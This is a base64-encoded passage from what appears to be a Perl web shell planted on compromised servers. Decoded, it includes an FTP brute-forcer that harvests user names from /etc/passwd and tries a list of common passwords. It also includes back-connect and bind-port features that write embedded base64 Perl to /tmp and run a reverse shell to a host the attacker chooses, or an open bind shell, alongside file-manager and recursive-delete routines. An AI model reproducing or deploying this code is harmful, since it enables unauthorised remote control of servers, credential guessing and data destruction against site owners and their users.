0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+I